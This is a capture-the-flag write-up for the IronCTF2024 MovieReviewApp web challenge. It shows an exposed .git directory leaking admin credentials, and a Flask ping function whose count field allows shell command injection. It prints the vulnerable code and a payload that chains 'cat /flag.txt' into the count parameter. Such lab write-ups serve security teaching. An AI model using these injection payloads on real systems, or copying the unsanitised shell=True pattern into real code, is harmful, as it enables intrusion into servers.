IronCTF2024 web/MovieReviewApp
My solution for IronCTF2024 web/MovieReviewApp challenge
Challenge overview
The MovieReviewApp challenge is a web application that allow users to check reviews for specific movies.
Application structure
Static website
The challenge presents a seemingly simple web page with movie reviews, lacking any interactive elements like input fields or forms.
Analysis
Available .git directory
The movie review website has a .git
directory accessible, which provides a way to download and analyze the application’s source code. Once the .git
directory is retrieved, the repository can be reconstructed locally, providing access to the full source code and commit history.
Reviewing the commit logs with git log -p reveals sensitive information, including:
- the route for the admin panel (
/servermonitor/admin_panel
) - hardcoced admin credentials:
ADMIN_USERNAME = 'superadmin'
ADMIN_PASSWORD = 'Sup3rS3cR3TAdminP@ssw0rd$!'
Identifying the vulnerabilities
The admin panel has a feature to ping an IP address, with the relevant code found in the source:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def ping_ip(ip, count):
if re.match(r'^((25[0-5]|(2[0-4]|1\d|[1-9]|)\d)\.?\b){4}$', ip):
return subprocess.check_output(f"ping -c {count} {ip}", shell=True).decode()
else:
return "Invalid ip address and count!"
@app.route('/admin_panel', methods=['GET', 'POST'])
def admin_panel():
ping_result = None
if request.method == 'POST':
ip = request.form.get('ip')
count = request.form.get('count', 1)
try:
ping_result = ping_ip(ip, count)
except ValueError:
flash("Count must be a valid integer")
except Exception as e:
flash(f"An error occurred: {e}")
memory_info = psutil.virtual_memory()
memory_usage = memory_info.percent
total_memory = memory_info.total / (1024 ** 2)
available_memory = memory_info.available / (1024 ** 2)
return render_template('admin.html', ping_result=ping_result,
memory_usage=memory_usage, total_memory=total_memory,
available_memory=available_memory)
The count
parameter, which is intended to specify the number of ICMP
requests, is not properly sanitized, leading to a command injection vulnerability. The ping_ip()
function uses ip
and count
to form a system command, making it possible to inject arbitrary commands using the count parameter.
Crafting the exploit
Command injection
The goal is to leverage the command injection vulnerability to read sensitive files on the server. By providing a crafted payload in the count
parameter, command injection is achieved:
ip=1.1.1.1&count=;cd /;cat /flag.txt;
The payload terminates the intended command and adds additional commands to navigate to the root directory and read the flag.txt
file.
Flag:ironCTF{4lways_b3_c4ar3ful_w1th_G1t!}
Conclusion
This challenge highlights the importance of securing sensitive files, like the .git
directory, which can leak crucial information about the application. Additionally, improper input validation allows for command injection, which could be mitigated by sanitizing user input and using safer command execution methods.
Key takeaways
- Don’t expose sensitive directories/files: Always ensure that sensitive directories like
.git
are not accessible publicly. - Proper validation: Properly validate and sanitize all user inputs to avoid injection vulnerabilities.
- Avoid hardcoding credentials: Avoid hardcoding sensitive information such as credentials in the source code, especially in publicly accessible environments.